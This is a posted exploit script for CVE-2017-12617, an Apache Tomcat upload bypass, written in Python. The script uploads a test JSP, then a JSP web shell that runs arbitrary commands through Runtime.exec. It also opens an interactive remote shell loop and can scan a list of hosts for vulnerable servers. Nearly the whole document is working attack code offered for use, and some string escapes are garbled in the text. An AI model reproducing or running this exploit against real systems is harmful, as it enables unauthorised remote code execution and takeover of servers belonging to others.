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Apache Tomcat Upload Bypass / Remote Code Execution

Posted on 11 October 2017

#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser

class bcolors:
HEADER = '33[95m'
OKBLUE = '33[94m'
OKGREEN = '33[92m'
WARNING = '33[93m'
FAIL = '33[91m'
ENDC = '33[0m'
BOLD = '33[1m'
UNDERLINE = '33[4m'

banner="""

_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____  / / ____| |__  / _ /_ |____ | /_ |__  / //_ |____ |
| |   / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| |  / / | __|______/ /| | | || | / /______| | / / '_ | | / /
| |____  / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| / |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/

[@intx0x80]

"""

def signal_handler(signal, frame):

print ("33[91m"+"
[-] Exiting"+"33[0m")

exit()

signal.signal(signal.SIGINT, signal_handler)

def removetags(tags):
remove = re.compile('<.*?>')
txt = re.sub(remove, '
', tags)
return txt.replace("


","
")

def getContent(url,f):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
re=requests.get(str(url)+"/"+str(f), headers=headers)
return re.content

def createPayload(url,f):
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
if req.status_code==201:
print "File Created .."

def RCE(url,f):
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}

req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)

def shell(url,f):

while True:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
cmd=raw_input("$ ")
payload={'cmd':cmd}
if cmd=="q" or cmd=="Q":
break

re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
re=str(re.content)
t=removetags(re)
print t

#print bcolors.HEADER+ banner+bcolors.ENDC

parse=OptionParser(

bcolors.HEADER+"""

_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____  / / ____| |__  / _ /_ |____ | /_ |__  / //_ |____ |
| |   / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| |  / / | __|______/ /| | | || | / /______| | / / '_ | | / /
| |____  / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| / |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/

./cve-2017-12617.py [options]

options:

-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list

[+]usage:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt

[@intx0x80]

"""+bcolors.ENDC

)

parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")

(opt,args)=parse.parse_args()

if opt.U==None and opt.P==None and opt.L==None:
print(parse.usage)
exit(0)

else:
if opt.U!=None and opt.P==None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
url=str(opt.U)
checker="Poc.jsp"
print bcolors.BOLD +"Poc Filename {}".format(checker)
createPayload(str(url)+"/",checker)
con=getContent(str(url)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print bcolors.WARNING+url+' it's Vulnerable to CVE-2017-12617'+bcolors.ENDC
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC

else:
print 'Not Vulnerable to CVE-2017-12617 '
elif opt.P!=None and opt.U!=None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
pwn=str(opt.P)
url=str(opt.U)
print "Uploading Webshell ....."
pwn=pwn+".jsp"
RCE(str(url)+"/",pwn)
shell(str(url),pwn)
elif opt.L!=None and opt.P==None and opt.U==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
w=str(opt.L)
f=open(w,"r")
print "Scaning hosts in {}".format(w)
checker="Poc.jsp"
for i in f.readlines():
i=i.strip("
")
createPayload(str(i)+"/",checker)
con=getContent(str(i)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print str(i)+"33[91m"+" [ Vulnerable ] ""33[0m"

 

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